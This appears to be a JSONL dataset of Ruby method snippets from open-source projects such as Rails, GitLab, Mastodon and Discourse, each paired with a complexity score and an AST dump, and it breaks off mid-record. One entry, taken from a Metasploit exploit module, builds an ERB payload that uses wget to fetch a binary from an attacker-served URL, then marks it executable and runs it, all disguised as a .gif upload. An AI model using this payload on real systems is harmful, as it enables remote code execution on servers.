{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/querying.rb","start_line":51,"raw_source":"def find_by_sql(sql, binds = [], preparable: nil, allow_retry: false, &block)\n      result = with_connection do |c|\n        _query_by_sql(c, sql, binds, preparable: preparable, allow_retry: allow_retry)\n      end\n      _load_from_sql(result, &block)\n    end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"find_by_sql\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sql\"]},{\"type\":\"optarg\",\"children\":[\"binds\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"preparable\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"allow_retry\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_connection\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[null,\"_query_by_sql\",{\"type\":\"lvar\",\"children\":[\"c\"]},{\"type\":\"lvar\",\"children\":[\"sql\"]},{\"type\":\"lvar\",\"children\":[\"binds\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"preparable\"]},{\"type\":\"lvar\",\"children\":[\"preparable\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"allow_retry\"]},{\"type\":\"lvar\",\"children\":[\"allow_retry\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"_load_from_sql\",{\"type\":\"lvar\",\"children\":[\"result\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}","id":"110d9c7c-b7e6-49a2-949d-f56c41546efe"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/merge_requests_controller.rb","start_line":191,"raw_source":"def context_commits\n    # Get commits from repository\n    # or from cache if already merged\n    commits = ContextCommitsFinder.new(project, @merge_request, {\n      search: params[:search],\n      author: params[:author],\n      committed_before: convert_date_to_epoch(params[:committed_before]),\n      committed_after: convert_date_to_epoch(params[:committed_after]),\n      limit: params[:limit]\n    }).execute\n    render json: CommitEntity.represent(commits, { type: :full, request: merge_request })\n  end","complexity_score":26.8,"ast_json":"{\"type\":\"def\",\"children\":[\"context_commits\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"commits\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ContextCommitsFinder\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"ivar\",\"children\":[\"@merge_request\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"search\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"search\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"author\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"committed_before\"]},{\"type\":\"send\",\"children\":[null,\"convert_date_to_epoch\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"committed_before\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"committed_after\"]},{\"type\":\"send\",\"children\":[null,\"convert_date_to_epoch\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"committed_after\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"limit\"]}]}]}]}]},\"execute\"]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CommitEntity\"]},\"represent\",{\"type\":\"lvar\",\"children\":[\"commits\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"full\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"request\"]},{\"type\":\"send\",\"children\":[null,\"merge_request\"]}]}]}]}]}]}]}]}]}","id":"9993d2bc-f6e9-493d-a4c2-6a8b67515d8b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/rails_dynamic_render_code_exec.rb","start_line":111,"raw_source":"def send_payload\n    @bd = rand_text_alpha(8 + rand(8))\n    fn = rand_text_alpha(8 + rand(8))\n    un = rand_text_alpha(8 + rand(8))\n    pn = rand_text_alpha(8 + rand(8))\n    register_file_for_cleanup(\"/tmp/#{@bd}\")\n    cmd = \"wget #{@service_url} -O /tmp/#{@bd};\"\n    cmd << \"chmod 755 /tmp/#{@bd};\"\n    cmd << \"/tmp/#{@bd}\"\n    pay = \"<%=`#{cmd}`%>\"\n    print_status(\"uploading image...\")\n    data = Rex::MIME::Message.new\n    data.add_part(pay, nil, nil, 'form-data; name=\"#{un}\"; filename=\"#{fn}.gif\"')\n    res = send_request_cgi({\n      'method' => 'POST',\n      'cookie' => @cookie,\n      'uri' => normalize_uri(datastore['URIPATH'], pn),\n      'ctype' => \"multipart/form-data; boundary=#{data.bound}\",\n      'data' => data.to_s\n    })\n    if res and res.code == 422 and res.body =~ /Tempfile:\\/(.*)&gt;/\n      @path = \"#{$1}\" if res.body =~ /Tempfile:\\/(.*)&gt;/\n      return true\n    else\n\n      # this is where we pull the log file\n      if leak_log\n        return true\n      end\n    end\n    return false\n  end","complexity_score":52.15,"ast_json":"{\"type\":\"def\",\"children\":[\"send_payload\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@bd\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[8]},\"+\",{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[8]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"fn\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[8]},\"+\",{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[8]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"un\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[8]},\"+\",{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[8]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pn\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[8]},\"+\",{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[8]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_file_for_cleanup\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/tmp/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@bd\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cmd\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"wget \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@service_url\"]}]},{\"type\":\"str\",\"children\":[\" -O /tmp/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@bd\"]}]},{\"type\":\"str\",\"children\":[\";\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"chmod 755 /tmp/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@bd\"]}]},{\"type\":\"str\",\"children\":[\";\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/tmp/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@bd\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pay\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<%=`\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]}]},{\"type\":\"str\",\"children\":[\"`%>\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"uploading image...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"MIME\"]},\"Message\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"add_part\",{\"type\":\"lvar\",\"children\":[\"pay\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"#{un}\\\"; filename=\\\"#{fn}.gif\\\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"ivar\",\"children\":[\"@cookie\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"URIPATH\"]}]},{\"type\":\"lvar\",\"children\":[\"pn\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"multipart/form-data; boundary=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"bound\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"to_s\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[422]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Tempfile:/(.*)&gt;\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Tempfile:/(.*)&gt;\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"nth_ref\",\"children\":[1]}]}]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"leak_log\"]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]}","id":"2b54346e-8c93-4d89-9a5c-a842ab1adf71"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/server/app/interactors/connectors/discover_connector.rb","start_line":7,"raw_source":"def call\n      context.catalog = context.connector.catalog\n      # refresh catalog when the refresh flag is true\n      return if context.catalog.present? && context.refresh != \"true\"\n\n      catalog = context.connector.build_catalog(\n        workspace_id: context.connector.workspace_id\n      )\n\n      catalog.catalog = streams(context.connector)\n      catalog.catalog_hash = Digest::SHA1.hexdigest(catalog.catalog.to_s)\n      catalog.save\n\n      if catalog.persisted?\n        context.catalog = catalog\n      else\n        context.fail!(catalog:)\n      end\n    end","complexity_score":41.0,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"catalog=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"connector\"]},\"catalog\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"catalog\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"refresh\"]},\"!=\",{\"type\":\"str\",\"children\":[\"true\"]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"catalog\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"connector\"]},\"build_catalog\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"connector\"]},\"workspace_id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"catalog\"]},\"catalog=\",{\"type\":\"send\",\"children\":[null,\"streams\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"connector\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"catalog\"]},\"catalog_hash=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"SHA1\"]},\"hexdigest\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"catalog\"]},\"catalog\"]},\"to_s\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"catalog\"]},\"save\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"catalog\"]},\"persisted?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"catalog=\",{\"type\":\"lvar\",\"children\":[\"catalog\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"fail!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"catalog\"]},{\"type\":\"lvar\",\"children\":[\"catalog\"]}]}]}]}]}]}]}","id":"c27da950-4832-4d3e-a309-ce85e674f804"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/metric/purging.rb","start_line":2,"raw_source":"def self.purge_date(type)\n    value = ::Settings.performance.history[type]\n\n    case value\n    when Numeric\n      value.days.ago.utc\n    when String\n      value.to_i_with_method.seconds.ago.utc\n    end\n  end","complexity_score":18.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"purge_date\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Settings\"]},\"performance\"]},\"history\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"type\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Numeric\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"days\"]},\"ago\"]},\"utc\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"String\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"to_i_with_method\"]},\"seconds\"]},\"ago\"]},\"utc\"]}]},null]}]}]}","id":"ab0a8d1d-412b-4a42-8a17-f3046185841e"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/fasp/base_controller.rb","start_line":44,"raw_source":"def validate_signature!\n    raise Error, 'signature-input is missing' if request.headers['signature-input'].blank?\n\n    provider = nil\n\n    Linzer.verify!(request.rack_request, no_older_than: 5.minutes) do |keyid|\n      provider = Fasp::Provider.find(keyid)\n      Linzer.new_ed25519_public_key(provider.provider_public_key_pem, keyid)\n    end\n\n    @current_provider = provider\n  end","complexity_score":20.45,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_signature!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"signature-input\"]}]},\"blank?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"Error\"]},{\"type\":\"str\",\"children\":[\"signature-input is missing\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"provider\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Linzer\"]},\"verify!\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"rack_request\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"no_older_than\"]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[5]},\"minutes\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"keyid\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"provider\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fasp\"]},\"Provider\"]},\"find\",{\"type\":\"lvar\",\"children\":[\"keyid\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Linzer\"]},\"new_ed25519_public_key\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"provider\"]},\"provider_public_key_pem\"]},{\"type\":\"lvar\",\"children\":[\"keyid\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@current_provider\",{\"type\":\"lvar\",\"children\":[\"provider\"]}]}]}]}","id":"8b593b02-f38d-410f-b9d6-c5cc26e4eb50"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/sqlite3/sqlite_rake_test.rb","start_line":118,"raw_source":"@connection    = Class.new { def encoding; end }.new","complexity_score":4.4,"ast_json":"{\"type\":\"ivasgn\",\"children\":[\"@connection\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"def\",\"children\":[\"encoding\",{\"type\":\"args\",\"children\":[]},null]}]},\"new\"]}]}","id":"ba75d7f0-63d7-4334-9cfe-7caea127303a"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/useless_rescue.rb","start_line":60,"raw_source":"def only_reraising?(resbody_node)\n          return false if use_exception_variable_in_ensure?(resbody_node)\n\n          body = resbody_node.body\n\n          return false if body.nil? || !body.send_type? || !body.method?(:raise) || body.receiver\n          return true unless body.arguments?\n          return false if body.arguments.size > 1\n\n          exception_name = body.first_argument.source\n\n          exception_objects(resbody_node).include?(exception_name)\n        end","complexity_score":28.4,"ast_json":"{\"type\":\"def\",\"children\":[\"only_reraising?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"resbody_node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"use_exception_variable_in_ensure?\",{\"type\":\"lvar\",\"children\":[\"resbody_node\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resbody_node\"]},\"body\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"send_type?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"method?\",{\"type\":\"sym\",\"children\":[\"raise\"]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"receiver\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"arguments?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"arguments\"]},\"size\"]},\">\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"exception_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"first_argument\"]},\"source\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"exception_objects\",{\"type\":\"lvar\",\"children\":[\"resbody_node\"]}]},\"include?\",{\"type\":\"lvar\",\"children\":[\"exception_name\"]}]}]}]}","id":"5edadf10-6c81-4ee2-9a41-a79d42280339"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/diff/position.rb","start_line":153,"raw_source":"def on_file?\n        position_type == 'file'\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"on_file?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"position_type\"]},\"==\",{\"type\":\"str\",\"children\":[\"file\"]}]}]}","id":"0b4a4179-9d18-4c8b-ac28-248204778c96"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-active-context/lib/active_context/databases/postgresql/indexer.rb","start_line":23,"raw_source":"def empty?\n          refs.empty?\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"empty?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"refs\"]},\"empty?\"]}]}","id":"f690582d-37da-435d-9207-c1330028e63d"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-assign/lib/random_assign_utils.rb","start_line":6,"raw_source":"def self.automation_script!(...)\n    new(...).automation_script!\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"automation_script!\",{\"type\":\"forward_args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"forwarded_args\",\"children\":[]}]},\"automation_script!\"]}]}","id":"9a6512dc-d8e8-411c-87fa-62a0a2274750"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/private_message_topic_tracking_state.rb","start_line":153,"raw_source":"def self.publish_new(topic)\n    return unless topic.private_message?\n\n    message = {\n      message_type: NEW_MESSAGE_TYPE,\n      topic_id: topic.id,\n      payload: {\n        last_read_post_number: nil,\n        highest_post_number: 1,\n        group_ids: topic.allowed_groups.pluck(:id),\n        created_by_user_id: topic.user_id,\n      },\n    }.as_json\n\n    topic\n      .allowed_users\n      .pluck(:id)\n      .each do |user_id|\n        next if user_id == topic.user_id # skip topic creator\n        MessageBus.publish(self.user_channel(user_id), message, user_ids: [user_id])\n      end\n\n    topic\n      .allowed_groups\n      .pluck(:id)\n      .each do |group_id|\n        MessageBus.publish(self.group_channel(group_id), message, group_ids: [group_id])\n      end\n  end","complexity_score":27.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"publish_new\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"topic\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"private_message?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message_type\"]},{\"type\":\"const\",\"children\":[null,\"NEW_MESSAGE_TYPE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_read_post_number\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"highest_post_number\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_ids\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"allowed_groups\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_by_user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"user_id\"]}]}]}]}]},\"as_json\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"allowed_users\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_id\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"user_id\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MessageBus\"]},\"publish\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"user_channel\",{\"type\":\"lvar\",\"children\":[\"user_id\"]}]},{\"type\":\"lvar\",\"children\":[\"message\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\